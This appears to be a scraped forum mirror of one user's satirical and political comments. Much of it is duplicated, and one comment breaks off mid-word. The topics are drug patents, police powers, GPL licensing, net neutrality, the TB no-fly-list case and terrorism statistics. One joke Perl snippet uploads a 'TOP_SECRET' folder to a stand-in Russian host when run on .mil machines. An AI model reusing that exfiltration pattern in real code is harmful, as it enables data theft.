"Hello, Bill Gates here again. I just wanted to announce some exciting new technology we are on the verge of patenting with our partners at Microsoft. To all of my friends, please do not take this for a junk call. Just Bill Gates sharing his fortune. If you hang up, you will repent later. Microsoft and AOL are now the largest Internet companies and in an effort to make sure that Internet Explorer remains the most widely used program, Microsoft and AOL are running a voice beta test.
"When you repeat this call over the phone to your friends, Microsoft can and will track it, if you are a Microsoft Windows user and your phone service provider is allied with one of our strategic partners to provide you with better service. For a two week time period, for every person that you call, Microsoft will pay you $245.00. For every person that you call that calls someone else, Microsoft will pay you $243.00 and for every third person, you will be paid $241.00. And if you mod this post up you get $50,000. Within two weeks, Microsoft will contact you by phone for your address and then send you a check.
"Regards. Bill Gates." <BGSOUND SRC='rideofthevalkyries.mid' LOOP='1000'/>
When harvesting, keep the seeds from individual plants isolated from one another. Then when you replant, be sure to minimize genetic variability within each container by only planting seeds from one parent plant. When your sibling plants recognize their sisters they'll put less energy into competitive behavior intended to screw neighbors out of water and light, such as excessive rooting, excessive leaf production, and rapid vertical growth. Instead you'll get these short, stubby mellow plants with big buds.
I'm also mid-30s and I remember he was on Nickelodeon when I was growing up; we saw reruns all the time. Back then my dad once said he saw Mr. Wizard snap at a dumb kid. He said the kid wasn't paying attention to what Mr. Wizard was trying to talk about, and kept picking up other things on the table, and Mr. Wizard finally lost his patience and maybe raised his voice at the kid a bit, you know, to get him to shape up a little. My father thought that was pretty funny. I said, no way, the Mr. Wizard I know would never do that; he is a benevolent Wizard and has no dark side. But it stayed in my mind. Afterwards whenever I watched Mr. Wizard's show I wondered what he would sound like if you got him angry. I mean, even if he's a Wizard of science, you still don't want to see one get angry no matter what kind they are. But he was really patient with these kids; they weren't all rocket scientists. So I finally decided, I've got to see this for myself. The reruns were on constantly and I kept watching them, watching Mr. Wizard, learning about science, and watching for that scene where he would supposedly snap at this kid. I watched him especially closely whenever a stupid looking kid came on. I thought, "could this be the one that finally breaks him?" But I never saw Mr. Wizard snap at anyone. My father was full of it as usual.
Unless the pharmaceutical companies were sure they could recoup these billions of dollars, there would be no incentive to invent any new drugs.
I don't even like your Patents don't really serve the public interest here either, because we don't really need pharmaceutical companies in the first place. One sign that our kleptocracy has completely warped our thinking is this strange assumption everyone makes: if drug companies don't make lots of profits inventing new drugs, nobody will have any incentive to invent drugs.
We really don't need pharmaceutical companies. The public wants access to a wide range of cheap effective medicines. So we have a natural incentive to invent new drugs because we keep getting sick and dying. There are plenty of ways to solve the problem. A straightforward one would be to create public drug discovery laboratories, fund university labs, and pay for scientists to find the drugs. That's a "tax and spend" solution. We decided on a solution where we replace our natural incentive for better drugs with Pfizer's incentive to get rich selling them to us.
That works to the extent your desire for better drugs remains compatible with the perogatives of a for-profit corporation. Sometimes it isn't. A company makes more money by developing treatments as opposed to cures. It saves money by making copycats of drugs already shown to be profitable, like penis pills. They concentrate their efforts on diseases with the widest markets, and don't do much research into rare diseases. And of course they spend a lot of time looking into what they should do if they want to pull even more money out of your pocket. My wife and I are still young but we each have our own chronic neurological problem. Just the copays on these prescriptions are exploding. Ours are running about $150-200/month. And the trail of patents and monopoly rights left behind by this process is undesirable in and of itself, even if getting them did provide the company's incentive. For one thing, the patents rise into the atmosphere and do not expire for years and years. The air becomes clogged with patents and they accumulate into a dark cloud that casts shadows and disincentives upon drug research below- no matter who is doing it. So our current path isn't sustainable.
There is plenty of incentive to invest in new drugs as long as people are sick and dying. Even if a private company isn't interested, there are enough people who do that research, and sufficient public interest in getting it done, to ensure that it will get done, even if nobody is getting rich running commercials for me-too penis pills. Only patents could screw it up.
Police officers, soldiers, judges, presidents, congressmen, prosecutors, civil servants, etc. can play the roles of state actors. They have ordinary rights to speech and organized protests that all citizens have, except when they are on duty and speaking with the authority of a state actor under color of law.
Even on duty, a cop still retains his rights as a citizen. There are obviously some things a cop would get fired for saying while on duty, but as a citizen in general, he can't be put in jail for free speech. (Some people think "free speech" means their stupid posts shouldn't get modded down, but the idea is really that you can't go to jail for saying anything, no matter how abominably stupid it is, unless it reveals, indicates, or results in a prosecutable crime.
When speaking authoritatively, a cop has to establish that he is a state actor who speaks under color of law. That means, wearing a badge, and yelling things like ("Stop! Police!") at people who are running away. Once it has been made clear that he is a state actor, he can arrest you for not following his lawful instructions- which themselves have the force of law. (Disobeying an unlawful instruction is legal; the cop can't demand a BJ for example, or demand that you incriminate yourself.) You can run away from an undercover cop, since there is no badge, but once he yells "police" there goes that excuse. If the arrest happens, they are forced by law to tell you it is legal to remain silent. THEN the mind tricks begin: "You're only going to help yourself, you know, by confessing to me and incriminating yourself in other crimes as well." At this point an arrested wizard who is clever can respond by uttering his magic anti-cop spell: "I refuse to say anything without counsel present." Cops hate such magic and try to discourage its use by pretending to be therapists, not cops, standing by the side of the road and who just want you to get it all out. "There, doesn't it make you feel better to confess?" "Yeah!" Many of these guys are thieves, not wizards. (You'd think they never got arrested or had therapy before. Admitting you have a problem is the first step to jail- just watch COPS for a few hours. My wife used to be a criminal defense attorney. She's really good at spotting illegal searches or arrests. There's at least one per show, sometimes more. She'll point at the screen- "Did you see that? Did you just see what he did? That was an ILLEGAL search with no probable cause so the arrest was also illegal! Meanwhile narrator John Walsh is finishing up his moralizing bit: "There won't be much pot where THIS stoner is going, ha ha ha.")
Now say a cop works weekends busting heads for record companies. The badge isn't on him. Basically rent-a-cops are ordinary private citizens, working as security guards. They do not speak under color of law. An RIAA cop cannot arrest you. If one chases you, it behooves you to grab your warez and crackz and tunez and run as fast as you can. He will also not read you your Miranda rights, so remember, shut up, shut up, shut up. If you must say something, stick to obscenities, as to avoid revealing incriminating information. If he pulls out a cop badge and shows it to you, then he's a state actor. This would likely involve negative repurcussions for any cop who tried it while moonlighting for a security company.
Soldiers can speak and protest as citizens. Not as soldiers. But soldiers are still citizens. If a soldier is wearing his insignia, it is understood that he speaks as a soldier so his statements are expected to reflect official military policy. Without the military insignia he is speaking as a citizen. He cannot carry out military orders. If he shows up to an anti-war demonstration with a big "Semper Fi" T-shirt and shorts, with no insignia, he is obviously there as a citizen against the war who happens to be in the military. This deserves no punishment.
The Marines are currently after a guy who showed up at an antiwar demonstration with his military fatigues. He wore no insi
but there's enough there that makes sense that I don't think it's fair to accuse people of using the GPL just to spite people trying to make a living from programming.
That's pure projection; nobody made such an accusation. In fact the exact opposite just happened:
So essentially you want to copy someone else's work because you can't figure it out yourself and then expect to make a profit off of it? Free should remain free.
I always get attacked here whenever I report the pedantic (but usually overlooked) reason why I avoid GPL-ed libraries. People here call me a freeloader all the time for not using GPL code, which strikes me as pretty funny. But like I said, life is too short to please everybody.
People focus on the legal issues, but not the simple logistical and psychological issues that arise from the fact that while open source and commercial code may be the work of separate legal entities, in practice both types of code are written and used by the same people, either at home or at work, since hobbyist coders usually have a day job.
At every job I've had, if we're considering incorporating an open source library, the license is the first thing to check. If the project page says GPL we immediately drop the library as a consideration. If it's a commercial license then we can use it but we have to do paperwork for accounting. And if we see BSD, then we right click, download the library, and start looking into it from there. The predictable results of this process: my head fills up with information on the libraries I use, and I forget about the ones I rejected long ago.
Then I get home to my hobby project. Legally, completely different rules apply to me at home. I can release under the GPL (a choice I can't simply make for my employer), use GPL code, etc etc. My own license restrictions as a hobbyist coder are supposedly orthogonal to those at my day job. But guess what? I have to use the same brain at work and at home, it only has so many brain cells to fill up with library APIs, there are only 24 hours in a day, and I barely have time to get drunk as it is. Even though I'm at home I'll probably just build things with stuff I'm familiar with. Especially if I view the library as not being an interesting part of my application.
If my employer used the GPL for projects then I guess I'd be predisposed to use GPL code at home. I've just never worked at a place that incorporated GPL code into its projects, so I'm not familiar with it, and probably won't adopt it.
The GPL is similar to any other proprietary license, from a proprietor it creates that hires anybody, pays nobody, and is legally bound to charge nothing. But it still shares (with the actual authors) proprietary rights to all derivative works because Richard Stallman wanted to confer upon it a competitive advantage enjoyed by other, commercial proprietors. It's a very reasonable proprietary license but in the end that's what it is, and some things should not be proprietary. We still need some public infrastructure in the software industry. Users (including most of you guys) want standard software conventions that always work in a predictable way. They want to leverage their knowledge of GPL software against non-GPL software (or MS software vs. non-MS software) in ways that are totally reasonable- or they say things like "well that's not the way Microsoft does it", "that's not how GNU works", etc. They especially want uninteresting things- like command line parsing, logging, etc. to work in a predictable way. This isn't really served by forcing everyone to implement common infrastructure separately because then users have to learn implementation differences between modules that play common uninteresting roles. These rarely get addressed unless they spoil a sale. Usually they don't; they just annoy users.
I was saying to my wife the other night that it's not right- if either one of us creates a significant piece of Internet infrastructure, we have to just let anyone's packets through without discriminating. That's an infringement on my personal freedom to hold on to a packet as long as I want on my own property. It's just like how the white man screwed over the Indians in Manitoba and took their land for passing cellphone signals through without paying. What rights do we even have anymore? We should be encouraging people to form large telecommunications companies, not discouraging them by enforcing quaint notions of fairness. With that kind of disincentive it's no wonder that nobody provides Internet service in the United States. Seriously, have you ever met anyone who does? There's only one guy on my street somewhere running 802.11g with no whitelist or encryption. And I would totally be cool with it if he capped my bandwidth by half. That's what personal freedom is all about.
The U.S. medical system is OK (if you're an individual lucky enough to have coverage), but as we just saw, we have a public health infrastructure so flimsy that we're forced to use mechanisms we set up for the War on Terror to supplement it. The WoT is not really something the rest of the world obsesses about the way we do. The CDC should have a mechanism to track plague patients that leverages universal concerns about disease, not one that hinges on local political attitudes worldwide to typical American bullying about a stupid "War on Something".
Quarantining just one guy can prevent expensive problems for millions of patients. But Americans are just fine with letting plague patients into the country if they've got PPOs for themselves. That's the sort of penny-wise pound-foolish collective decision making you get when you set everything up to be a market-based free for all with everyone looking out for himself. Nobody in the United States pays attention to public health anymore, except for tax cuts.
And given the choice between stateless terrorists flying their airplanes into our buildings and the classical game of brinkmanship between nation states
And two more choices: neither, and both which is where I'd put my money with this crew.
My wife knows someone who works at Circuit City corporate headquarters. According to her, within an hour or two after the layoffs were announced, people were leaving the building carrying boxes with their diplomas, etc., escorted by cops.
I form my opinions based on objective fact as best I can determine it. I'm much less likely a propaganda victim than yourself.
You may want to reevaluate how you form your opinions. You may have some valid points but I see a lot of familiar propaganda being parroted in your post.
Since it is clearly pursuing non-peaceful purposes, it has no such right.
Clearly? As in, more "clearly" than we are? Who says? Cheney, whose credibility is shot to hell? Nobody in the world believes anything the United States says anymore.
We named them an "Axis of Evil", stated our objections to their behavior, and asked them to change it. Has it changed?
You have the order of events ass-backwards. This process had already been started by Clinton and predates the "Axis of Evil" crap. Bush succeeded in preventing diplomacy around the world but he was not able to put a stop to a diplomatic process with Libya that was already underway by the time he took office.
BTW "Axis of Evil" was a sucker punch to democratic movements around the world. It was "bring them on"-stupid.
First, you're making quite an assumption in saying Iran isn't "suicidal", and one I'm not willing to make. We're really speaking of Iran's leadership here, who are true believers in an apocalyptic religion and want to bring the end times.
This strikes me as projection. All three Western religions have been apocalyptic ever since Daniel interpreted Nebuchadrezzar's dream. The United States is acting suicidally because it's caught itself in a "winning vs. losing" mentality and no longer recognizes what would be in its best interests. Our country is under the command of true believers.
Plus this is a silly argument. "Saddam Hussein is crazy! We can't trust him not to give a nuclear weapon to AQ!" Remember that one? Saddam was soooo crazy he was going to hand out strategically important nuclear material worth billions of dollars to scraggly terrorists.
Where is the disincentive to use nuclear weapons again?
Nuclear weapons are like sex... something that everyone wants, with obviously dangerous consequences. An outsider can't incentivize" such a thing. If they're as crazy as you say, they'll nuke us anyway.
The military will be out there defending your sorry ass whether or not you appreciate that service.
Ever calculate how many years, at current rates, we'll need to have soldiers in Iraq in order to lose as many people as we do in any given year due to drunk driving? Pretty scary. Yet, with the exception of MADD, I don't see the moral outrage, the marches, the congressional inquiries.
But that's irrelevant. You're failing to distinguish between collective and individual decisions.
Collectively (thanks to MADD) we have already taken sound measures to minimize loss of life from drunk drivers. I know someone who can't legally drive again for another ten years. Some people's cars have breathalyzers to prevent them from starting. To prevent further deaths would require us to do things that would significantly degrade our quality of life, like banning alcohol or cars, or engaging in a massive crackdown on individual behavior. Deaths due to drunk driving are now the result of poor individual decisions, which we have made a reasonable effort to influence.
Wars are a little different, since they can be stopped by governments. They are subject to collective decision making in a way that drunk driving and terrorism are not.
Also, what you're saying is "guns don't kill people, door handles do."
I was making fun of people who come up with bizarre ideas that might have worked once to prevent a one-time event that already happened, and don't make any sense most of the time, like "let's give guns to everyone on the plane". There is a controversy about the WTC being fireproofed up to the 64th floor because the asbestos steel beam coating they used was banned in the middle of construction, so that the asbestos ban "caused" 3000 deaths. Whether that's true or not, asbestos has been banned since I was a kid and it still kills 30 people every day just in the U.S.
I wonder if a science fiction writer could have come up with a story as screwed up as this one about the tuberculosis guy. A patient with tuberculosis flew to his wedding in Greece and while he was on his honeymoon in Italy he was notified by the CDC that his tuberculosis was a scary drug resistant strain, to avoid travel, and to turn himself in to Italian authorities to be quarantined. They also told him that he had been put on the no-fly list. But damn it, he's on his honeymoon. So what did he do? He flew from Prague to Montreal to successfully avoid the no-fly list, and then he drove across the border into New York State, with no-flying:
Health officials said the man had been advised not to fly and knew he could expose others when he boarded the jets from Atlanta to Paris, and later from Prague to Montreal. The man, however, told the Atlanta Journal-Constitution that doctors didn't order him not to fly and only suggested he put off his long-planned wedding in Greece. He knew he had a form of tuberculosis and that it was resistant to first-line drugs, but he didn't realize it could be so dangerous, he said. "We headed off to Greece thinking everything's fine," said the man, who declined to be identified because of the stigma attached to his diagnosis. He flew to Paris on May 12 aboard Air France Flight 385. While in Europe, health authorities reached him with the news that further tests had revealed his TB was a rare, "extensively drug-resistant" form, far more dangerous than he knew. They ordered him into isolation, saying he should turn himself over to Italian officials. Instead, the man flew from Prague to Montreal on May 24 aboard Czech Air Flight 0104, then drove into the United States at Champlain, N.Y. He told the newspaper he was afraid that if he didn't get back to the U.S., he wouldn't get the treatment he needed to survive. ... The man told the Journal-Constitution he was in Rome during his honeymoon when the CDC notified him of the new tests and told him to turn himself in to Italian authorities to be isolated and be treated. The CDC told him he couldn't fly aboard commercial airliners. "I thought to myself: You're nuts. I wasn't going to do that. They told me I had been put on the no-fly list and my passport was flagged," the man said. He told the newspaper he and his wife decided to sneak back into the U.S. through Canada. He said he voluntarily went to a New York hospital, then was flown by the CDC to Atlanta. He is not facing prosecution, health officials said. "I'm a very well-educated, successful, intelligent person," he told the paper. "This is insane to me that I have an armed guard outside my door when I've cooperated with everything other than the whole solitary-confinement-in-Italy thing."
So what was unfortunately revealed by this episode?
After six good years of hysteric overspending we still can't track down TB patients on their honeymoons much less bioterrorists
So we put patients with communicable diseases on our handy terrorist no-fly list
Handy travel tip for anyone on the no-fly list: fly Czech Air to Canada and enter the U.S. via rental car!
Tuberculosis causes dementia as is shown here by the illogical desire to get to the U.S. for medical treatment
People are totally innumerate and they overreact to rare, dramatic events. Everyone went nuts over the VT tragedy because it was "the worst school shooting in history" even though it only killed 30+ people. That's less than an average day's worth of gun deaths, or about six hours of car accidents. Now it's almost six years later and people are still overreacting to 9/11. I mean, 3000 deaths in one day and at the same place is impressive, but it still totals to just one month of car accidents. Think of how miserable we've made ourselves since then. Was it worth it?
Asking "whether the next 9/11 can be prevented" is a dumb question to try to answer. It's like "how do we prevent the next car accident?" The sort of questions we should be asking sound cold and calculating, which is unfortunate because it keeps us from asking them:
- Is it possible to reduce the number of terrorist attacks? - Is it possible to reduce the number of terrorist attacks to zero? - What is the probability per year that a terrorist act might affect you? - What is the probability per year that our self-flagellating counterterrorism efforts might affect you? - Since 9/11, how many additional hours of your life have been spent in airports? - How many years of your life have been spent as a soldier overseas? - How many years of your life have been lost as a soldier overseas? - Is terrorism even something most of us worry about personally anymore?
It's unfortunate that we have created security monsters like TSA that simultaneously don't work and would be political suicide to get rid of.
My own idea for "preventing the next VT tragedy" was to crack down on the manufacturers of doors, not the sellers of handguns. If it were illegal to manufacture doors with closed loops in their handles, the guy wouldn't have been able to chain the door shut.
I want a precedent set. Then I will also sue for any cell phone waves passing over my private property.
Well first of all I need to know who the check should be made out to. I also need a good address I can use so that if I send it via airmail it flies over your house.
Once they figure out how to make a book that phones home every time you turn a page and identifies you to a server using a fingerprint scanner, borrowing those books will be impossible, and borrowing any book (except the Bible) will become illegal.
Man, I feel bad for the process server who got that assignment.
First upload yourself to Youtube handing papers to a camera and saying, "you've been served!" Provide a link to a PDF somewhere with the actual documents. Then goof off on the Internet all day posting your links. Just keep telling people "you know what you did" and let your defendants all over the Internet spread the word- doing your process server work for you "virally". Do a brief writeup in your blog, send the URL to the court clerk, and wait to see if the Internet shows up in court.
Slashdot Mirror
"Hello, Bill Gates here again. I just wanted to announce some exciting new technology we are on the verge of patenting with our partners at Microsoft. To all of my friends, please do not take this for a junk call. Just Bill Gates sharing his fortune. If you hang up, you will repent later. Microsoft and AOL are now the largest Internet companies and in an effort to make sure that Internet Explorer remains the most widely used program, Microsoft and AOL are running a voice beta test.
/>
"When you repeat this call over the phone to your friends, Microsoft can and will track it, if you are a Microsoft Windows user and your phone service provider is allied with one of our strategic partners to provide you with better service. For a two week time period, for every person that you call, Microsoft will pay you $245.00. For every person that you call that calls someone else, Microsoft will pay you $243.00 and for every third person, you will be paid $241.00. And if you mod this post up you get $50,000. Within two weeks, Microsoft will contact you by phone for your address and then send you a check.
"Regards. Bill Gates."
<BGSOUND SRC='rideofthevalkyries.mid' LOOP='1000'
When harvesting, keep the seeds from individual plants isolated from one another. Then when you replant, be sure to minimize genetic variability within each container by only planting seeds from one parent plant. When your sibling plants recognize their sisters they'll put less energy into competitive behavior intended to screw neighbors out of water and light, such as excessive rooting, excessive leaf production, and rapid vertical growth. Instead you'll get these short, stubby mellow plants with big buds.
"Hello, this is Bill Gates. I know who you are."
I'm also mid-30s and I remember he was on Nickelodeon when I was growing up; we saw reruns all the time. Back then my dad once said he saw Mr. Wizard snap at a dumb kid. He said the kid wasn't paying attention to what Mr. Wizard was trying to talk about, and kept picking up other things on the table, and Mr. Wizard finally lost his patience and maybe raised his voice at the kid a bit, you know, to get him to shape up a little. My father thought that was pretty funny. I said, no way, the Mr. Wizard I know would never do that; he is a benevolent Wizard and has no dark side. But it stayed in my mind. Afterwards whenever I watched Mr. Wizard's show I wondered what he would sound like if you got him angry. I mean, even if he's a Wizard of science, you still don't want to see one get angry no matter what kind they are. But he was really patient with these kids; they weren't all rocket scientists. So I finally decided, I've got to see this for myself. The reruns were on constantly and I kept watching them, watching Mr. Wizard, learning about science, and watching for that scene where he would supposedly snap at this kid. I watched him especially closely whenever a stupid looking kid came on. I thought, "could this be the one that finally breaks him?" But I never saw Mr. Wizard snap at anyone. My father was full of it as usual.
I notice that the probability of success in Iraq correlates well with George's approval rating.
Unless the pharmaceutical companies were sure they could recoup these billions of dollars, there would be no incentive to invent any new drugs.
I don't even like your Patents don't really serve the public interest here either, because we don't really need pharmaceutical companies in the first place. One sign that our kleptocracy has completely warped our thinking is this strange assumption everyone makes: if drug companies don't make lots of profits inventing new drugs, nobody will have any incentive to invent drugs.
We really don't need pharmaceutical companies. The public wants access to a wide range of cheap effective medicines. So we have a natural incentive to invent new drugs because we keep getting sick and dying. There are plenty of ways to solve the problem. A straightforward one would be to create public drug discovery laboratories, fund university labs, and pay for scientists to find the drugs. That's a "tax and spend" solution. We decided on a solution where we replace our natural incentive for better drugs with Pfizer's incentive to get rich selling them to us.
That works to the extent your desire for better drugs remains compatible with the perogatives of a for-profit corporation. Sometimes it isn't. A company makes more money by developing treatments as opposed to cures. It saves money by making copycats of drugs already shown to be profitable, like penis pills. They concentrate their efforts on diseases with the widest markets, and don't do much research into rare diseases. And of course they spend a lot of time looking into what they should do if they want to pull even more money out of your pocket. My wife and I are still young but we each have our own chronic neurological problem. Just the copays on these prescriptions are exploding. Ours are running about $150-200/month. And the trail of patents and monopoly rights left behind by this process is undesirable in and of itself, even if getting them did provide the company's incentive. For one thing, the patents rise into the atmosphere and do not expire for years and years. The air becomes clogged with patents and they accumulate into a dark cloud that casts shadows and disincentives upon drug research below- no matter who is doing it. So our current path isn't sustainable.
There is plenty of incentive to invest in new drugs as long as people are sick and dying. Even if a private company isn't interested, there are enough people who do that research, and sufficient public interest in getting it done, to ensure that it will get done, even if nobody is getting rich running commercials for me-too penis pills. Only patents could screw it up.
Police officers, soldiers, judges, presidents, congressmen, prosecutors, civil servants, etc. can play the roles of state actors. They have ordinary rights to speech and organized protests that all citizens have, except when they are on duty and speaking with the authority of a state actor under color of law.
Even on duty, a cop still retains his rights as a citizen. There are obviously some things a cop would get fired for saying while on duty, but as a citizen in general, he can't be put in jail for free speech. (Some people think "free speech" means their stupid posts shouldn't get modded down, but the idea is really that you can't go to jail for saying anything, no matter how abominably stupid it is, unless it reveals, indicates, or results in a prosecutable crime.
When speaking authoritatively, a cop has to establish that he is a state actor who speaks under color of law. That means, wearing a badge, and yelling things like ("Stop! Police!") at people who are running away. Once it has been made clear that he is a state actor, he can arrest you for not following his lawful instructions- which themselves have the force of law. (Disobeying an unlawful instruction is legal; the cop can't demand a BJ for example, or demand that you incriminate yourself.) You can run away from an undercover cop, since there is no badge, but once he yells "police" there goes that excuse. If the arrest happens, they are forced by law to tell you it is legal to remain silent. THEN the mind tricks begin: "You're only going to help yourself, you know, by confessing to me and incriminating yourself in other crimes as well." At this point an arrested wizard who is clever can respond by uttering his magic anti-cop spell: "I refuse to say anything without counsel present." Cops hate such magic and try to discourage its use by pretending to be therapists, not cops, standing by the side of the road and who just want you to get it all out. "There, doesn't it make you feel better to confess?" "Yeah!" Many of these guys are thieves, not wizards. (You'd think they never got arrested or had therapy before. Admitting you have a problem is the first step to jail- just watch COPS for a few hours. My wife used to be a criminal defense attorney. She's really good at spotting illegal searches or arrests. There's at least one per show, sometimes more. She'll point at the screen- "Did you see that? Did you just see what he did? That was an ILLEGAL search with no probable cause so the arrest was also illegal! Meanwhile narrator John Walsh is finishing up his moralizing bit: "There won't be much pot where THIS stoner is going, ha ha ha.")
Now say a cop works weekends busting heads for record companies. The badge isn't on him. Basically rent-a-cops are ordinary private citizens, working as security guards. They do not speak under color of law. An RIAA cop cannot arrest you. If one chases you, it behooves you to grab your warez and crackz and tunez and run as fast as you can. He will also not read you your Miranda rights, so remember, shut up, shut up, shut up. If you must say something, stick to obscenities, as to avoid revealing incriminating information. If he pulls out a cop badge and shows it to you, then he's a state actor. This would likely involve negative repurcussions for any cop who tried it while moonlighting for a security company.
Soldiers can speak and protest as citizens. Not as soldiers. But soldiers are still citizens. If a soldier is wearing his insignia, it is understood that he speaks as a soldier so his statements are expected to reflect official military policy. Without the military insignia he is speaking as a citizen. He cannot carry out military orders. If he shows up to an anti-war demonstration with a big "Semper Fi" T-shirt and shorts, with no insignia, he is obviously there as a citizen against the war who happens to be in the military. This deserves no punishment.
The Marines are currently after a guy who showed up at an antiwar demonstration with his military fatigues. He wore no insi
Please don't take it personally; it was a reply to the wrong post. When these threads go on between the GPL and BSD people I get a little dyslexic.
So essentially you want to copy someone else's work because you can't figure it out yourself and then expect to make a profit off of it?
Sure.
but there's enough there that makes sense that I don't think it's fair to accuse people of using the GPL just to spite people trying to make a living from programming.
That's pure projection; nobody made such an accusation. In fact the exact opposite just happened:
So essentially you want to copy someone else's work because you can't figure it out yourself and then expect to make a profit off of it? Free should remain free.
I always get attacked here whenever I report the pedantic (but usually overlooked) reason why I avoid GPL-ed libraries. People here call me a freeloader all the time for not using GPL code, which strikes me as pretty funny. But like I said, life is too short to please everybody.
People focus on the legal issues, but not the simple logistical and psychological issues that arise from the fact that while open source and commercial code may be the work of separate legal entities, in practice both types of code are written and used by the same people, either at home or at work, since hobbyist coders usually have a day job.
At every job I've had, if we're considering incorporating an open source library, the license is the first thing to check. If the project page says GPL we immediately drop the library as a consideration. If it's a commercial license then we can use it but we have to do paperwork for accounting. And if we see BSD, then we right click, download the library, and start looking into it from there. The predictable results of this process: my head fills up with information on the libraries I use, and I forget about the ones I rejected long ago.
Then I get home to my hobby project. Legally, completely different rules apply to me at home. I can release under the GPL (a choice I can't simply make for my employer), use GPL code, etc etc. My own license restrictions as a hobbyist coder are supposedly orthogonal to those at my day job. But guess what? I have to use the same brain at work and at home, it only has so many brain cells to fill up with library APIs, there are only 24 hours in a day, and I barely have time to get drunk as it is. Even though I'm at home I'll probably just build things with stuff I'm familiar with. Especially if I view the library as not being an interesting part of my application.
If my employer used the GPL for projects then I guess I'd be predisposed to use GPL code at home. I've just never worked at a place that incorporated GPL code into its projects, so I'm not familiar with it, and probably won't adopt it.
The GPL is similar to any other proprietary license, from a proprietor it creates that hires anybody, pays nobody, and is legally bound to charge nothing. But it still shares (with the actual authors) proprietary rights to all derivative works because Richard Stallman wanted to confer upon it a competitive advantage enjoyed by other, commercial proprietors. It's a very reasonable proprietary license but in the end that's what it is, and some things should not be proprietary. We still need some public infrastructure in the software industry. Users (including most of you guys) want standard software conventions that always work in a predictable way. They want to leverage their knowledge of GPL software against non-GPL software (or MS software vs. non-MS software) in ways that are totally reasonable- or they say things like "well that's not the way Microsoft does it", "that's not how GNU works", etc. They especially want uninteresting things- like command line parsing, logging, etc. to work in a predictable way. This isn't really served by forcing everyone to implement common infrastructure separately because then users have to learn implementation differences between modules that play common uninteresting roles. These rarely get addressed unless they spoil a sale. Usually they don't; they just annoy users.
I was saying to my wife the other night that it's not right- if either one of us creates a significant piece of Internet infrastructure, we have to just let anyone's packets through without discriminating. That's an infringement on my personal freedom to hold on to a packet as long as I want on my own property. It's just like how the white man screwed over the Indians in Manitoba and took their land for passing cellphone signals through without paying. What rights do we even have anymore? We should be encouraging people to form large telecommunications companies, not discouraging them by enforcing quaint notions of fairness. With that kind of disincentive it's no wonder that nobody provides Internet service in the United States. Seriously, have you ever met anyone who does? There's only one guy on my street somewhere running 802.11g with no whitelist or encryption. And I would totally be cool with it if he capped my bandwidth by half. That's what personal freedom is all about.
They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:
if ($hostname =~ m/.*\.mil/) {
multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
explode() || die("The requested operation cannot be performed");
}
Gay tolerance, making fun of Christianity, making fun of immigration laws - yup, that has "GOP" written all over it.
Surely you must concede that all four- South Park, Family Guy, the GOP, and the Simpsons- have been in maintenance mode for years.
The U.S. medical system is OK (if you're an individual lucky enough to have coverage), but as we just saw, we have a public health infrastructure so flimsy that we're forced to use mechanisms we set up for the War on Terror to supplement it. The WoT is not really something the rest of the world obsesses about the way we do. The CDC should have a mechanism to track plague patients that leverages universal concerns about disease, not one that hinges on local political attitudes worldwide to typical American bullying about a stupid "War on Something".
Quarantining just one guy can prevent expensive problems for millions of patients. But Americans are just fine with letting plague patients into the country if they've got PPOs for themselves. That's the sort of penny-wise pound-foolish collective decision making you get when you set everything up to be a market-based free for all with everyone looking out for himself. Nobody in the United States pays attention to public health anymore, except for tax cuts.
And given the choice between stateless terrorists flying their airplanes into our buildings and the classical game of brinkmanship between nation states
And two more choices: neither, and both which is where I'd put my money with this crew.
My wife knows someone who works at Circuit City corporate headquarters. According to her, within an hour or two after the layoffs were announced, people were leaving the building carrying boxes with their diplomas, etc., escorted by cops.
BTW "Axis of Evil" was a sucker punch to democratic movements around the world. It was "bring them on"-stupid.This strikes me as projection. All three Western religions have been apocalyptic ever since Daniel interpreted Nebuchadrezzar's dream. The United States is acting suicidally because it's caught itself in a "winning vs. losing" mentality and no longer recognizes what would be in its best interests. Our country is under the command of true believers.
Plus this is a silly argument. "Saddam Hussein is crazy! We can't trust him not to give a nuclear weapon to AQ!" Remember that one? Saddam was soooo crazy he was going to hand out strategically important nuclear material worth billions of dollars to scraggly terrorists.Nuclear weapons are like sex... something that everyone wants, with obviously dangerous consequences. An outsider can't incentivize" such a thing. If they're as crazy as you say, they'll nuke us anyway.Only if they have orders to do it.
Ever calculate how many years, at current rates, we'll need to have soldiers in Iraq in order to lose as many people as we do in any given year due to drunk driving? Pretty scary. Yet, with the exception of MADD, I don't see the moral outrage, the marches, the congressional inquiries.
But that's irrelevant. You're failing to distinguish between collective and individual decisions.
Collectively (thanks to MADD) we have already taken sound measures to minimize loss of life from drunk drivers. I know someone who can't legally drive again for another ten years. Some people's cars have breathalyzers to prevent them from starting. To prevent further deaths would require us to do things that would significantly degrade our quality of life, like banning alcohol or cars, or engaging in a massive crackdown on individual behavior. Deaths due to drunk driving are now the result of poor individual decisions, which we have made a reasonable effort to influence.
Wars are a little different, since they can be stopped by governments. They are subject to collective decision making in a way that drunk driving and terrorism are not.
Also, what you're saying is "guns don't kill people, door handles do."
I was making fun of people who come up with bizarre ideas that might have worked once to prevent a one-time event that already happened, and don't make any sense most of the time, like "let's give guns to everyone on the plane". There is a controversy about the WTC being fireproofed up to the 64th floor because the asbestos steel beam coating they used was banned in the middle of construction, so that the asbestos ban "caused" 3000 deaths. Whether that's true or not, asbestos has been banned since I was a kid and it still kills 30 people every day just in the U.S.
People are totally innumerate and they overreact to rare, dramatic events. Everyone went nuts over the VT tragedy because it was "the worst school shooting in history" even though it only killed 30+ people. That's less than an average day's worth of gun deaths, or about six hours of car accidents. Now it's almost six years later and people are still overreacting to 9/11. I mean, 3000 deaths in one day and at the same place is impressive, but it still totals to just one month of car accidents. Think of how miserable we've made ourselves since then. Was it worth it?
Asking "whether the next 9/11 can be prevented" is a dumb question to try to answer. It's like "how do we prevent the next car accident?" The sort of questions we should be asking sound cold and calculating, which is unfortunate because it keeps us from asking them:
- Is it possible to reduce the number of terrorist attacks?
- Is it possible to reduce the number of terrorist attacks to zero?
- What is the probability per year that a terrorist act might affect you?
- What is the probability per year that our self-flagellating counterterrorism efforts might affect you?
- Since 9/11, how many additional hours of your life have been spent in airports?
- How many years of your life have been spent as a soldier overseas?
- How many years of your life have been lost as a soldier overseas?
- Is terrorism even something most of us worry about personally anymore?
It's unfortunate that we have created security monsters like TSA that simultaneously don't work and would be political suicide to get rid of.
